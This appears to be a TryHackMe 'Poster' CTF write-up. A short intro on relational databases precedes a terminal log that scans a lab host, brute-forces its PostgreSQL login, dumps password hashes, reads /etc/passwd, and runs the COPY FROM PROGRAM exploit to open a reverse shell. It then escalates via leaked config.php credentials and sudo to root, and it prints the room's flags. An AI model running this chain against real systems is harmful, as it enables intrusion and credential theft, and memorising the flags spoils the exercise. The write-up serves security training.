Poster
Last updated
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Last updated
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Depending on the EF Codd relational model, an RDBMS allows users to build, update, manage, and interact with a relational database, which stores data as a table.
Today, several companies use relational databases instead of flat files or hierarchical databases to store business data. This is because a relational database can handle a wide range of data formats and process queries efficiently. In addition, it organizes data into tables that can be linked internally based on common data. This allows the user to easily retrieve one or more tables with a single query. On the other hand, a flat file stores data in a single table structure, making it less efficient and consuming more space and memory.
Most commercially available RDBMSs currently use Structured Query Language (SQL) to access the database. RDBMS structures are most commonly used to perform CRUD operations (create, read, update, and delete), which are critical to support consistent data management.
RDBMS es un sistema de gestión de bases de datos relacionales. Un ejemplo de RDBMS comúnmente utilizado es MySQL.
Un RDBMS almacena datos en forma de tablas, donde cada tabla tiene un conjunto de filas y columnas. Las filas representan registros individuales y las columnas representan atributos de esos registros. Las tablas también pueden relacionarse entre sí mediante claves foráneas, lo que permite a los usuarios consultar y combinar datos de varias tablas de manera sencilla.
Por ejemplo, una base de datos de una empresa podría tener una tabla de empleados y otra tabla de departamentos. La tabla de empleados podría tener una columna llamada "ID de departamento" que se relaciona con la tabla de departamentos mediante una clave foránea. De esta manera, podríamos obtener información sobre los empleados y sus departamentos correspondientes sin tener que almacenar toda la información en una sola tabla.
Are you able to complete the challenge?
The machine may take up to 5 minutes to boot and configure
Answer the questions below
┌──(kali㉿kali)-[~]
└─$ rustscan -a 10.10.183.253 --ulimit 5500 -b 65535 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
Open 10.10.183.253:22
Open 10.10.183.253:80
Open 10.10.183.253:5432
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-24 12:06 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:06
Completed NSE at 12:06, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:06
Completed NSE at 12:06, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:06
Completed NSE at 12:06, 0.00s elapsed
Initiating Ping Scan at 12:06
Scanning 10.10.183.253 [2 ports]
Completed Ping Scan at 12:06, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:06
Completed Parallel DNS resolution of 1 host. at 12:06, 0.02s elapsed
DNS resolution of 1 IPs took 0.06s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 12:06
Scanning 10.10.183.253 [3 ports]
Discovered open port 80/tcp on 10.10.183.253
Discovered open port 22/tcp on 10.10.183.253
Discovered open port 5432/tcp on 10.10.183.253
Completed Connect Scan at 12:06, 0.20s elapsed (3 total ports)
Initiating Service scan at 12:06
Scanning 3 services on 10.10.183.253
Completed Service scan at 12:07, 7.40s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.183.253.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:07
Completed NSE at 12:07, 6.63s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:07
Completed NSE at 12:07, 1.24s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:07
Completed NSE at 12:07, 0.00s elapsed
Nmap scan report for 10.10.183.253
Host is up, received syn-ack (0.19s latency).
Scanned at 2022-12-24 12:06:57 EST for 16s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 71ed48af299e30c1b61dffb024cc6dcb (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGK2azIgGLY4GFFZlpgMpyOub/To5vmftSEWkjbtFkTBvc5tW/SpoDtjyNMT0JKJUmFJ2/vp6oIpwyIRtDa+oomuNL//exbp/i798hl8FFo4Zq5HsDvQCwNKZ0lfk0HGYgbXj6WAjohokSbkDY1U26FN/MKE2JxcXLcN8n1QmvVbP5p8zO/jgrXvX6DLv4eHxJjhzsBJ6DwFMchtBwy4CiTQsiCUcAyyua93LJO6NEnnM4SOwOUE/wyggCNPbwzB1wzPLAgaiU+M2gn9/XZGmlD+vWOBu3sruCB2PnRuM3cx27gDbbElR4KDIOq2ar66rV+yIZQoQ7KfVUNUFFCbRz
| 256 eb3aa34e6f1000abeffcc52b0edb4057 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN2f/wWkOMnH6rNZ+0m2p+PrzBVbz/vfQ/k9rx9W27i9DLBKmRM2b2ntmg8tSwHhZVTb/FvStJci9SIBLAqao00=
| 256 3e4142353805d392eb4939c6e3ee78de (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKYg/uhFbBiQ1iu6NNNYtD/tRDbHmPXw4p/nYv+twijq
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Poster CMS
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
5432/tcp open postgresql syn-ack PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
| ssl-cert: Subject: commonName=ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-29T00:54:25
| Not valid after: 2030-07-27T00:54:25
| MD5: da573213e9aa9274d0bec1b0bbb20b09
| SHA-1: 4e03846928f7673b2bb204404ba9e4d2a0d05dd5
| -----BEGIN CERTIFICATE-----
| MIICsjCCAZqgAwIBAgIJAIrmTOUt3qZtMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
| BAMMBnVidW50dTAeFw0yMDA3MjkwMDU0MjVaFw0zMDA3MjcwMDU0MjVaMBExDzAN
| BgNVBAMMBnVidW50dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMca
| tkPhi1xPkNomQzkTX+XRDk0RPBxRJQm17+Q8sru8J72rToPVyZesM7v5M+ttfqlZ
| sHAevEv/iVb1D6hNPawU9kG61Ja9baHd1s31H7RjWxpMS2vZuiu6/oXNWpc4yinQ
| RDWgLqKhDzczacMWLxKkgh06H8DI04/4pCJ6pbf6gXFfVRrccOu1FmoVlWWdVeGd
| CZ2C8XOA1tEEE6UG9HI9Q2gd3AHOSex+ar3EnWm1LanYDQPJSXEgl/K2A9D5DQEw
| +xJxPnH9abqxUrLUDOxzbMpdqXfb0OHxy7jeBJhpd6DonAZTEACdsgh9SzssH4ac
| FOqjsJjfSzok3x3uBx0CAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsF
| AAOCAQEAxGskqCN0uihEe1rpb7fveGYGMhDsFso9aYdJ4Q3CHJHX3leCN92nLCOq
| R9bTRgVjrvph00jO3+qhHzXCLbnpZXu9R9mPsfcDU/IFCFxMNmjRs4DkkzpGWAyp
| t5I18Zxh4JWJP7Mf1zc39z2Zk/IucAI5kMPMDJUWR/mjVFG/iZY8W+YlKsfvWblU
| tY4RYFhVy9JTVFYe5ZxghLxylYi+cbkGcPMj7qaOkDWIWhILZX1DDAb7cSfVd4rq
| 2ayWhA4Dh/FJkL2j+5mfAku0C7qMAqSlJTMRa6pTQjXeGafLDBoomQIIFnhWOITS
| fohtzsob6PyjssrRoqlRkJLJEJf2YQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:07
Completed NSE at 12:07, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:07
Completed NSE at 12:07, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:07
Completed NSE at 12:07, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.52 seconds
┌──(kali㉿kali)-[~]
└─$ searchsploit PostgreSQL
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
PostgreSQL - 'bitsubstr' Buffer Overflow | linux/dos/33571.txt
PostgreSQL 6.3.2/6.5.3 - Cleartext Passwords | immunix/local/19875.txt
PostgreSQL 7.x - Multiple Vulnerabilities | linux/dos/25076.c
PostgreSQL 8.01 - Remote Reboot (Denial of Service) | multiple/dos/946.c
PostgreSQL 8.2/8.3/8.4 - UDF for Command Execution | linux/local/7855.txt
PostgreSQL 8.3.6 - Conversion Encoding Remote Denial of Service | linux/dos/32849.txt
PostgreSQL 8.3.6 - Low Cost Function Information Disclosure | multiple/local/32847.txt
PostgreSQL 8.4.1 - JOIN Hashtable Size Integer Overflow Denial of Servic | multiple/dos/33729.txt
PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit) | multiple/remote/46813.rb
PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated) | multiple/remote/50847.py
PostgreSQL 9.4-0.5.3 - Privilege Escalation | linux/local/45184.sh
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > search PostgreSQL
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/capture/postgresql normal No Authentication Capture: PostgreSQL
1 post/linux/gather/enum_users_history normal No Linux Gather User History
2 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
3 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
4 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
5 exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
6 auxiliary/scanner/postgres/postgres_dbname_flag_injection normal No PostgreSQL Database Name Command Line Flag Injection
7 auxiliary/scanner/postgres/postgres_login normal No PostgreSQL Login Utility
8 auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query
9 auxiliary/admin/postgres/postgres_sql normal No PostgreSQL Server Generic Query
10 auxiliary/scanner/postgres/postgres_version normal No PostgreSQL Version Probe
11 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
12 exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution
13 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
14 post/linux/gather/vcenter_secrets_dump 2022-04-15 normal No VMware vCenter Secrets Dump
Interact with a module by name or index. For example info 14, use 14 or use post/linux/gather/vcenter_secrets_dump
msf6 > use 7
msf6 auxiliary(scanner/postgres/postgres_login) > show options
Module options (auxiliary/scanner/postgres/postgres_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DATABASE template1 yes The database to authenticate against
DB_ALL_CREDS false no Try each user/password couple stored in the cu
rrent database
DB_ALL_PASS false no Add all passwords in the current database to t
he list
DB_ALL_USERS false no Add all users in the current database to the l
ist
DB_SKIP_EXISTING none no Skip existing credentials stored in the curren
t database (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE /usr/share/metasploit-fram no File containing passwords, one per line
ework/data/wordlists/postg
res_default_pass.txt
Proxies no A proxy chain of format type:host:port[,type:h
ost:port][...]
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target host(s), see https://github.com/rap
id7/metasploit-framework/wiki/Using-Metasploit
RPORT 5432 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a ho
st
THREADS 1 yes The number of concurrent threads (max one per
host)
USERNAME no A specific username to authenticate as
USERPASS_FILE /usr/share/metasploit-fram no File containing (space-separated) users and pa
ework/data/wordlists/postg sswords, one pair per line
res_default_userpass.txt
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-fram no File containing users, one per line
ework/data/wordlists/postg
res_default_user.txt
VERBOSE true yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/postgres/postgres_login) > set rhost 10.10.183.253
rhost => 10.10.183.253
msf6 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 10.10.183.253:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: Invalid username or password)
[+] 10.10.183.253:5432 - Login Successful: postgres:password@template1
[-] 10.10.183.253:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.183.253:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_login) > use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > show options
Module options (auxiliary/admin/postgres/postgres_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a
random password.
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploi
t-framework/wiki/Using-Metasploit
RPORT 5432 yes The target port
SQL select version() no The SQL query to execute
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/postgres/postgres_sql) > set rhost 10.10.183.253
rhost => 10.10.183.253
msf6 auxiliary(admin/postgres/postgres_sql) > set password password
password => password
msf6 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.183.253
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 2016
0609, 64-bit
[*] Auxiliary module execution completed
msf6 auxiliary(admin/postgres/postgres_sql) > search postgre
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/capture/postgresql normal No Authentication Capture: PostgreSQL
1 post/linux/gather/enum_users_history normal No Linux Gather User History
2 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
3 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
4 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
5 auxiliary/analyze/crack_databases normal No Password Cracker: Databases
6 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
7 exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
8 auxiliary/scanner/postgres/postgres_dbname_flag_injection normal No PostgreSQL Database Name Command Line Flag Injection
9 auxiliary/scanner/postgres/postgres_login normal No PostgreSQL Login Utility
10 auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query
11 auxiliary/admin/postgres/postgres_sql normal No PostgreSQL Server Generic Query
12 auxiliary/scanner/postgres/postgres_version normal No PostgreSQL Version Probe
13 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
14 exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution
15 auxiliary/scanner/postgres/postgres_hashdump normal No Postgres Password Hashdump
16 auxiliary/scanner/postgres/postgres_schemadump normal No Postgres Schema Dump
17 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
18 post/linux/gather/vcenter_secrets_dump 2022-04-15 normal No VMware vCenter Secrets Dump
Interact with a module by name or index. For example info 18, use 18 or use post/linux/gather/vcenter_secrets_dump
msf6 auxiliary(admin/postgres/postgres_sql) > use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > show options
Module options (auxiliary/scanner/postgres/postgres_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random
password.
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-fram
ework/wiki/Using-Metasploit
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set rhost 10.10.183.253
rhost => 10.10.183.253
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set password password
password => password
msf6 auxiliary(scanner/postgres/postgres_hashdump) > run
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
Username Hash
-------- ----
darkstart md58842b99375db43e9fdf238753623a27d
poster md578fb805c7412ae597b399844a54cce0a
postgres md532e12f215ba27cb750c9e093ce4b5127
sistemas md5f7dbc0d5a06653e74da6b1af9290ee2b
ti md57af9ac4c593e9e4f275576e13f935579
tryhackme md503aab1165001c8f8ccae31a8824efddc
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_hashdump) > use auxiliary/admin/postgres/postgres_readfile
msf6 auxiliary(admin/postgres/postgres_readfile) > show options
Module options (auxiliary/admin/postgres/postgres_readfile):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random
password.
RFILE /etc/passwd yes The remote file
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-fram
ework/wiki/Using-Metasploit
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/postgres/postgres_readfile) > set rhost 10.10.183.253
rhost => 10.10.183.253
msf6 auxiliary(admin/postgres/postgres_readfile) > set password password
password => password
msf6 auxiliary(admin/postgres/postgres_readfile) > run
[*] Running module against 10.10.183.253
Query Text: 'CREATE TEMP TABLE SdoVdFUHYe (INPUT TEXT);
COPY SdoVdFUHYe FROM '/etc/passwd';
SELECT * FROM SdoVdFUHYe'
=================================================================================================================================
input
-----
#/home/dark/credentials.txt
_apt:x:105:65534::/nonexistent:/bin/false
alison:x:1000:1000:Poster,,,:/home/alison:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
dark:x:1001:1001::/home/dark:
games:x:5:60:games:/usr/games:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
messagebus:x:106:110::/var/run/dbus:/bin/false
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
postgres:x:109:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
sys:x:3:3:sys:/dev:/usr/sbin/nologin
syslog:x:104:108::/home/syslog:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
uuidd:x:107:111::/run/uuidd:/bin/false
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
#/home/dark/credentials.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
alison:x:1000:1000:Poster,,,:/home/alison:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:109:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dark:x:1001:1001::/home/dark:
[+] 10.10.183.253:5432 Postgres - /etc/passwd saved in /home/kali/.msf4/loot/20221224122634_default_10.10.183.253_postgres.file_545925.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/postgres/postgres_readfile) > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options
Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
DUMP_TABLE_OUTPUT false no select payload command output from table (For Debugging)
PASSWORD postgres no The password for the specified username. Leave blank for
a random password.
RHOSTS yes The target host(s), see https://github.com/rapid7/metasp
loit-framework/wiki/Using-Metasploit
RPORT 5432 yes The target port (TCP)
TABLENAME RhMQTIYV3Ey yes A table name that does not exist (To avoid deletion)
USERNAME postgres yes The username to authenticate as
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set rhost 10.10.183.253
rhost => 10.10.183.253
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password password
password => password
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set lhost 10.8.19.103
lhost => 10.8.19.103
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on 10.8.19.103:4444
[*] 10.10.183.253:5432 - 10.10.183.253:5432 - PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
[*] 10.10.183.253:5432 - Exploiting...
[+] 10.10.183.253:5432 - 10.10.183.253:5432 - RhMQTIYV3Ey dropped successfully
[+] 10.10.183.253:5432 - 10.10.183.253:5432 - RhMQTIYV3Ey created successfully
[+] 10.10.183.253:5432 - 10.10.183.253:5432 - RhMQTIYV3Ey copied successfully(valid syntax/command)
[+] 10.10.183.253:5432 - 10.10.183.253:5432 - RhMQTIYV3Ey dropped successfully(Cleaned)
[*] 10.10.183.253:5432 - Exploit Succeeded
[*] Command shell session 1 opened (10.8.19.103:4444 -> 10.10.183.253:59728) at 2022-12-24 12:33:12 -0500
whoami
postgres
shel
shell
[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[*] Found python3 at /usr/bin/python3
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
bash
bash
postgres@ubuntu:/var/lib/postgresql/9.5/main$ find / -type f -name user.txt 2>/dev/null
<stgresql/9.5/main$ find / -type f -name user.txt 2>/dev/null
/home/alison/user.txt
postgres@ubuntu:/var/lib/postgresql/9.5/main$ cat /home/alison/user.txt
cat /home/alison/user.txt
cat: /home/alison/user.txt: Permission denied
postgres@ubuntu:/var/lib/postgresql/9.5/main$ cd /var/www/html
cd /var/www/html
postgres@ubuntu:/var/www/html$ ls
ls
config.php poster
postgres@ubuntu:/var/www/html$ cat config.php
cat config.php
<?php
$dbhost = "127.0.0.1";
$dbuname = "alison";
$dbpass = "p4ssw0rdS3cur3!#";
$dbname = "mysudopassword";
?>postgres@ubuntu:/var/www/html$ su alison
su alison
Password: p4ssw0rdS3cur3!#
alison@ubuntu:/var/www/html$ cat /home/alison/user.txt
cat /home/alison/user.txt
THM{postgresql_fa1l_conf1gurat1on}
privesc
alison@ubuntu:/var/www/html$ sudo -l
sudo -l
[sudo] password for alison: p4ssw0rdS3cur3!#
Matching Defaults entries for alison on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alison may run the following commands on ubuntu:
(ALL : ALL) ALL
alison@ubuntu:/var/www/html$ sudo -s
sudo -s
root@ubuntu:/var/www/html# cat /root/root.txt
cat /root/root.txt
THM{c0ngrats_for_read_the_f1le_w1th_credent1als}
or
"sudo -s" es un comando de Unix y Linux que se utiliza para ejecutar un shell de sistema con privilegios de superusuario. El comando "sudo" (superuser do) permite a los usuarios ejecutar comandos con privilegios de superusuario (también conocidos como "root"), lo que les permite realizar cambios en el sistema que de otra manera podrían estar restringidos. Al añadir la opción "-s", el comando abre una sesión interactiva de shell con privilegios de superusuario, lo que significa que puedes ejecutar varios comandos como superusuario sin tener que volver a escribir "sudo" cada vez.
